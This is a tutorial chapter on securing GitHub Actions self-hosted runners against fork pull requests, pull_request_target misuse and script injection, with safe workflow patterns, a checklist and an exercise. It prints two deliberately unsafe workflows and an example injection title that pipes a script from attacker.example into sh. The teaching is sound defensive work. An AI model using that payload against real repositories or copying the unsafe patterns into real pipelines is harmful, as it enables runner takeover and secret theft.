Sub topic 6
Untrusted code, fork pull requests, and public repositories
This chapter assumes you can read a workflow file and know how runs-on labels route a job. It also assumes you know what a fork is and how a pull request moves from a fork to its upstream repository. The previous chapter showed how a persistent runner keeps state between jobs. Here you will see who can start those jobs, and why that matters.
Why the trigger is part of the threat model
A self-hosted runner executes whatever the workflow tells it to execute. A workflow file is code, and so are the Makefile, test scripts, package install hooks, and build plugins it calls. If a stranger can change any of those files and cause a job to start, the stranger can run commands on your machine.
On a GitHub-hosted runner, that is acceptable. The virtual machine is thrown away after the job, and it sits outside your network. On a self-hosted runner, the same commands run inside your network and can reach:
- Internal services and metadata endpoints that the runner host can see.
- Files left over from earlier jobs, as described in the persistent-runner chapter.
- Credentials on the host, such as cloud profiles, SSH keys, and Docker config.
- The job's own
GITHUB_TOKENand any secrets passed to it.
GitHub's documentation recommends that you not use self-hosted runners with public repositories, because anyone can fork the repository and open a pull request that runs code on your runner.
How fork pull requests behave
When someone forks your repository and opens a pull request, the workflow that runs depends on the event type. The two events that matter most behave very differently.
The `pull_request` event
With pull_request, GitHub runs the workflow file from the pull request's merge commit. That means the contributor controls the workflow file and everything it calls. GitHub limits the damage in these ways:
- Secrets, except
GITHUB_TOKEN, are not passed to workflows triggered by fork pull requests. - The
GITHUB_TOKENis read-only for fork pull requests. - In public repositories, you can require approval before workflows run for first-time contributors, or for all outside contributors.
Those limits protect your secrets and repository contents. They do not protect the machine. If the job is routed to a self-hosted runner, the contributor's commands still run on it.
The `pull_request_target` event
With pull_request_target, the workflow file comes from the base branch, not from the fork. The job runs in the context of the base repository. It can read secrets and receives a token that can have write access. This makes it useful for tasks like labeling pull requests, and it makes it dangerous when combined with untrusted code.
The classic mistake is called a "pwn request". The workflow uses pull_request_target and then checks out the pull request's head commit to build or test it:
name: unsafe-pr-build
on: pull_request_target
jobs:
build:
runs-on: [self-hosted, linux, x64]
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: make test
env:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}The workflow file is trusted, but make test reads a Makefile that the attacker wrote. The attacker's code now runs with the secret in its environment, on your runner, with a privileged token. Do not write this workflow.
Other triggers that carry trust
Several other events run workflow files from the default branch with access to secrets, while the data that drives them comes from outsiders:
| Trigger | Whose workflow file runs | Secrets available | Typical risk |
|---|---|---|---|
| `pull_request` from a fork | Merge commit (contributor's) | No, except a read-only `GITHUB_TOKEN` | Arbitrary code on the runner |
| `pull_request_target` | Base branch | Yes | Checking out and running PR code with secrets |
| `workflow_run` | Default branch | Yes | Trusting artifacts produced by an untrusted run |
| `issue_comment`, `issues` | Default branch | Yes | Injection through titles, bodies, and comments |
| `push` to a branch in the repo | That branch | Yes | Only people with write access can trigger it |
The last row shows the contrast. A push requires write access to the repository, so the trigger is limited to people you have already trusted.
Script injection through event data
Untrusted code does not need a fork. Any text an outsider controls can become code if you place it inside a run step with ${{ }} expression syntax. GitHub expands the expression before the shell sees the script.
name: unsafe-title
on: pull_request_target
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: echo "Title is ${{ github.event.pull_request.title }}"A pull request titled "; curl https://attacker.example/x.sh | sh; echo " turns that step into a command that downloads and runs a script. The safe pattern passes the value through an environment variable. The shell then treats it as data:
name: safe-title
on: pull_request_target
permissions:
contents: read
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: echo "Title is $PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}The same rule applies to branch names, commit messages, issue bodies, and comment text.
The decision flow
The diagram shows how to decide where a job may run.
Public repositories and runner access
Two controls reduce exposure before any workflow file is read.
- Runner groups. In an organization, a runner group chooses which repositories may send jobs to its runners. Keep runners that sit in sensitive networks in groups that exclude public repositories. Check how your organization or enterprise treats public repositories in the default group, since this depends on the plan and settings. Do not assume the default is safe.
- Fork pull request approval settings. In the repository's Actions settings, choose how workflows from fork pull requests are approved. The options range from first-time contributors only to all outside collaborators. For private repositories, a separate setting controls whether fork pull requests run workflows at all, and it is off by default.
Also set the default GITHUB_TOKEN permissions to read-only at the organization or repository level. Then grant extra permissions per job with a permissions block. A compromised job can then do less with the token it holds.
name: test
on: pull_request
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: make testThis pattern is the baseline for any workflow that runs outsider-influenced code. It uses a hosted runner, a read-only token, and no secrets.
Splitting privileged work from untrusted work
Some tasks need both outsider code and privileges. A common example is posting a test report comment on a pull request. The standard solution is two workflows.
- The first workflow triggers on
pull_request. It runs the untrusted code on a hosted runner with read-only permissions and uploads the results as an artifact. - The second workflow triggers on
workflow_run, runs from the default branch, and downloads the artifact. It treats the artifact as data: it parses a known format and never executes it or interpolates its contents into a shell command.
The second workflow still needs care. File names, JSON fields, and text inside the artifact came from an outsider. Validate them (for example, accept only an integer for the pull request number) before using them.
What ephemeral runners do and do not fix
Ephemeral runners, covered in the next chapter, take one job and are then removed. They help with the problems in this chapter, but only in part.
| Threat | Does ephemeral fix it? |
|---|---|
| Attacker leaves a backdoor or poisoned cache on the runner for the next job | Yes, if the host or container is recreated each time |
| Attacker reads files left by a previous job | Yes, with a fresh environment |
| Attacker reaches internal network services during their own job | No. Use network controls |
| Attacker reads secrets passed into that job | No. Do not pass secrets to untrusted jobs |
| Attacker abuses a write-capable `GITHUB_TOKEN` | No. Use minimal `permissions` |
| Attacker escapes a container to the host | No. Choose stronger isolation |
Checklist
- Use GitHub-hosted runners for public repositories and for any job triggered by outside contributors.
- If you must self-host for outsiders, use ephemeral runners with no internal network access and no secrets.
- Keep self-hosted runners in runner groups limited to specific private repositories.
- Require approval for workflows from first-time or all outside contributors.
- Never check out and run pull request head code under
pull_request_target. - Pass event data to shells through environment variables, not
${{ }}expansion. - Set
GITHUB_TOKENto read-only by default and widen it per job.
Exercise
A workflow uses on: pull_request_target, runs on [self-hosted, linux], checks out github.event.pull_request.head.sha, and runs npm test with NPM_TOKEN set from secrets. Name two separate problems and give one fix for each.
Show answer
First, it runs untrusted pull request code (npm test executes scripts the contributor controls) with a secret in its environment and a privileged token, which is a pwn request. Fix: do not combine pull_request_target with checking out head code. Run the tests in a pull_request workflow with no secrets, and keep any privileged step in a separate workflow. Second, the job runs on a self-hosted runner, so the contributor's code executes inside your network and can leave state for later jobs. Fix: run it on a GitHub-hosted runner, or at minimum on an ephemeral runner in a restricted runner group with no internal network access.